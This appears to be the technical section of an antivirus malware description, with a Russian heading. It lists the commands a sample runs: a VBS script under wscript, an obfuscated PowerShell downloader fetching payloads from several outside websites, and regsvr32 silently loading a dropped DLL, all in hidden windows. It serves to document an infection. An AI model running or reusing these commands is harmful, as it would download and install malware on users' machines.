Техническая информация
- '<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\bbiwjdf.vbs
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1444
- %ALLUSERSPROFILE%\bbiwjdf.vbs
- %TEMP%\930873.cvr
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.migh... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c start /B %WINDIR%\syswow64\regsvr32.exe /s %ALLUSERSPROFILE%\oiphilfj.dll (со скрытым окном)
- '%WINDIR%\syswow64\regsvr32.exe' /s %ALLUSERSPROFILE%\oiphilfj.dll